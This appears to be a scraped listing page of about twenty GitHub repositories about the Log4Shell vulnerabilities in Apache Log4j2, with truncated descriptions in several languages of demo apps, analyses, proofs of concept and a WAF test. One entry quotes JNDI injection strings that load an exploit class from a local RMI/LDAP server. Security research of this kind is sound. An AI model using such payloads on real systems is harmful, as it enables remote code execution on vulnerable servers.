ModSec-log4j2

Test de la règle ModSec Prérequis Avoir Docker installé Avoir Java installé sur votre machine Exécution du test Faire un git clone du dépôt Exécuter la commande ci-dessous pour lancer le WAF ModSec et l'application vulnérable root@kitploit: docker stack deploy -c docker-compose.yml WAF Extraire l...

CVE-2021-44228-Demo

CVE-2021-44228-Demo مثال على استغلال CVE-2021-44228 لحقن الكود عن بُعد عبر كل من RMI و LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit تشغيل...

log4shell-example

اختبار استغلال Log4Shell الهدف من هذا المشروع هو توضيح ثغرة الاستغلال log4j cve-2021-44228 في إعداد spring-boot، وإظهار كيفية إصلاحها. يحتوي هذا المشروع على ثلاث وحدات فرعية. واحدة منها تحتوي على كود ضعيف، والاثنتان الأخريان تم تصحيحهما. كيفية استخدام هذا المشروع قم بتشغيل ./mvnw clean test في جذ...

log4j2-rce-recap

ملخص سريع لثغرة تنفيذ الأكواد عن بُعد في log4j2 CVE-2021-44228 المتطلبات maven = 3 java = 8 لا يوجد ldap قيد التشغيل على 127.0.0.1:1389 الاستخدام قم بالبناء باستخدام maven. root@kitploit: mvn test سيتم تنفيذ إضافة surefire مرتين: يثبت ExploitabilityTest قابلية استغلال الثغرة. سيتم تنفيذ...

CVE-2021-44228---Log4Shell-Analysis

🔥 تحليل Log4Shell CVE-2021-44228 تحليل تقني شامل لثغرة Log4Shell CVE-2021-44228، واحدة من أخطر الثغرات الأمنية في تاريخ البرمجيات الحديث. 📖 نظرة عامة يحتوي هذا المستودع على تحليل متعمق لثغرة Log4Shell في Apache Log4j2، بما في ذلك: غوص تقني في آلية الثغرة تحليل الكود ومراجعة التصحيح شرح مسار الهجو...

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 — Log4Shell: تنفيذ التعليمات البرمجية عن بُعد في Apache Log4j2 CVSS 10.0 حرج | CWE-502: إلغاء تسلسل البيانات غير الموثوقة | CWE-917: تحييد غير صحيح لحقن لغة Expression نظرة عامة Log4Shell CVE-2021-44228 هي على الأرجح أخطر ثغرة أمنية في العقد 2020، وتؤثر على Apache Log4j2 الإصدارات...

log4j-lookups-vulnerability

log4j-lookups-vulnerability المشروع مبني على spring-boot، والكود يكشف كيف تعمل ثغرة Log4j2 CVE-2021-44228. الحل لثغرة CVE-2021-44228 موجود على الرابط التالي https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot...

log4j2-bugmaker

Log4j2-BugMaker CVE-2021-44228 Log4Shell 취약점 데모 프로젝트 이것은 Log4j2 원격 코드 실행 취약점Log4Shell을 학습하고 연구하기 위한 데모 프로젝트입니다. ⚠️ 보안 경고 이 프로젝트는 보안 연구 및 교육 목적으로만 사용되며, 프로덕션 환경에서 사용하지 마십시오! 이 프로젝트는 심각한 보안 취약점이 있는 Log4j 2.14.1 버전을 사용합니다. 📋 환경 구성 Spring Boot : 2.6.1 Log4j2 : 2.14.1 취약한 버전 Java : 8 JDK 1.8 🚀 빠른 시작 1...

Exploitation-of-Log4j2-CVE-2021-44228

لا يحتوي هذا المستودع على ملف README...

CVE-2021-44228-example

هذا مثال على استغلال CVE-2021-44228 ثغرة RCE في Log4J2 لست مسؤولًا عن هذا الكود. من فضلك لا تستخدمه بشكل ضار CVE-2021-44228 : تتيح لك هذه الثغرة تنفيذ تعليمات برمجية عشوائية عن طريق تسجيل رسالة ضارة على الجهاز المستهدف. على سبيل المثال، يمكنك استخدامها في Minecraft عن طريق إرسال رسالة دردشة، وسيق...

log4j-poc

log4j-poc إثبات المفهوم لـ log4j2 CVE-2021-44228...

log4j2_CVE-2021-44228

Utilisation de l'environnement de test log4j2, en cas de problème, responsabilité personnelle Mon environnement de test est Java 17. Si vous devez le modifier, réimportez simplement le projet. Adresse après le démarrage de l'environnement : http://127.0.0.1:8006/test...

log4j2-prosecutor

log4j2-prosecutor Motivation Cette vulnérabilité fondamentale a été signalée par CVE-2018-3149 et corrigée par cet article. 8u121 Release Notes Cependant, la bibliothèque de journalisation pour Java appelée log4j2 possédait JNDILookupCVE-2021-44228, qui permettait l'accès à des protocoles tels qu...

log4j2-hack-springboot

log4j2-hack-springboot...

log4j2-CVE-2021-45046

تطبيق Log4j2 عينة قابل للاختراق CVE-2021-45046 الإصدارات المتأثرة: جميع الإصدارات من 2.0-beta9 إلى 2.15.0 يعتمد هذا التطبيق على تطبيق ويب Spring Boot قابل للاختراق بواسطة CVE-2021-45046 يستخدم Log4j 2.14.1 عبر spring-boot-starter-log4j2 2.6.1. تشغيل التطبيق قم بتشغيله: root@kitploit: Import the...

log4j2-CVE-2021-44228

Пример уязвимого приложения Log4j2 CVE-2021-44228 Затронутые версии: все версии с 2.0-beta9 по 2.14.1 Это приложение основано на веб-приложении Spring Boot, уязвимом к CVE-2021-44228. Оно использует Log4j 2.14.1 через spring-boot-starter-log4j2 2.6.1. Запуск приложения Запустите его: root@kitploi...

Log4j2-RCE

Log4j2-RCE Reproduction et exploitation avec retour de Log4j2 CVE-2021-44228...

kubernetes-log4j-cve-2021-44228-node-agent

!!!! AVIS DE DÉPRÉCIATION !!!! Ce projet est déprécié comme indiqué ci-dessous. 2023-01-01 - Ce dépôt ne sera plus mis à jour 2023-04-01 - Ce dépôt sera définitivement déprécié Le projet cessera d'accepter des signalements de problèmes et ne sera plus mis à jour à partir du 2023-01-01. Après cett...

CVE-2021-44228

تحليل CVE-2021-44228 كيف يعمل؟ فيما يلي عملية مفصلة لحالة حقن عن بُعد عبر استغلال ثغرة log4shell. أولاً، هناك 3 أجزاء يجب معرفتها: 1. يسمح Log4j2 بتسجيل البيانات باستخدام ميزة تسمى استبدال بحث الرسالة message lookup substitution ، حيث يمكن أن تتضمن رسائل السجل بيانات تُسحب ديناميكيًا من مصادر...

log4j-vul

log4j-vul هذا المشروع يهدف فقط إلى عرض ثغرة Apache Log4j2 - المعروفة باسم CVE-2021-44228 جافا: java version "1.8.0121" الترجمة: من مجلد src javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java التنفيذ\التشغيل: من مجلد src java -classpath...